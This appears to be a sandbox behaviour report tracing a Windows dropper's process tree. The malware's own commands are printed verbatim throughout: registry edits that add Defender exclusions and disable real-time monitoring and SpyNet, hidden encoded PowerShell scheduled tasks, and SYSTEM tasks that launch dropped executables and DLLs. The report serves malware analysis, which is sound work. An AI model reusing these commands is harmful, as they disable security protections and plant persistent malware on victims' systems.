PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1964 wrote to memory of 868	1964	forfiles.exe	cmd.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 700	1072	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 868 wrote to memory of 928	868	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 1072 wrote to memory of 1624	1072	cmd.exe	reg.exe
PID 868 wrote to memory of 1104	868	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1924

C:\Users\Admin\AppData\Local\Temp\7zS16DC.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1356

C:\Users\Admin\AppData\Local\Temp\7zS2415.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1072

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:700

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1624

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:868

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:928

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1104

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gfWiIbzCl" /SC once /ST 02:45:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1928

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gfWiIbzCl"
4⤵
PID:1280

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gfWiIbzCl"
4⤵
PID:308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "boytPmuAkKgmiEZYSe" /SC once /ST 21:13:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\UYoQnPU.exe\" X6 /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1968

C:\Windows\system32\taskeng.exe
taskeng.exe {4EE05AEE-E2BB-438A-AA3F-75D1E667B255} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]
1⤵
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:304

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1740

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1440

C:\Windows\system32\taskeng.exe
taskeng.exe {B909B39E-EB72-456F-982F-8E2B00D7E538} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1688

C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\UYoQnPU.exe
C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\UYoQnPU.exe X6 /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:772

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gfDTpohrj" /SC once /ST 20:58:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:840

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gfDTpohrj"
3⤵
PID:1848

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gfDTpohrj"
3⤵
PID:1412

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:904

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1612

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1600

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gDNpGKTpS" /SC once /ST 11:28:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1684

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gDNpGKTpS"
3⤵
PID:1680

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gDNpGKTpS"
3⤵
PID:1956

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:324

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1808

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1612

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1340

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:308

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1632

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2036

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1872

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\UIFvrSrxAzeYKEuX\siFizMzl\TTbSjDfuPxxpFkGX.wsf"
3⤵
PID:1624

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\UIFvrSrxAzeYKEuX\siFizMzl\TTbSjDfuPxxpFkGX.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1696

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
PID:544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1252

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2040

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1956

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
PID:804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:752

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "geiVvUiVF" /SC once /ST 17:24:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1252

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "geiVvUiVF"
3⤵
PID:960

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "geiVvUiVF"
3⤵
PID:820

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1508

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1968

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:520

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tRsUEOedRvIwZoOQu" /SC once /ST 08:09:39 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\RitEPeF.exe\" nL /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1340

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "tRsUEOedRvIwZoOQu"
3⤵
PID:1872

C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\RitEPeF.exe
C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\RitEPeF.exe nL /site_id 525403 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1884

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "boytPmuAkKgmiEZYSe"
3⤵
PID:536

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2044

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:1504

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:1848

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:1172

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
4⤵
PID:2040

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wRLQelouU\yKXYKP.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xhAFLspUEGhlntx" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1228

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xhAFLspUEGhlntx2" /F /xml "C:\Program Files (x86)\wRLQelouU\bvDTALU.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:280

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "xhAFLspUEGhlntx"
3⤵
PID:580

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xhAFLspUEGhlntx"
3⤵
PID:1424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TGleSCHdxQCUEC" /F /xml "C:\Program Files (x86)\OKneYAAzclQU2\KdRFmqj.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1576

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "iixDycgqswbNt2" /F /xml "C:\ProgramData\WoychCUlhHkYXpVB\vRcWfBO.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:268

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PdJioIBoJxlJjfqRR2" /F /xml "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\PaCbGIs.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1612

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "uIlXdWmTwvbWFvFElbK2" /F /xml "C:\Program Files (x86)\eCbNXTSQanJlC\ROWfyde.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1684

C:\Windows\SysWOW64\schtasks.exe
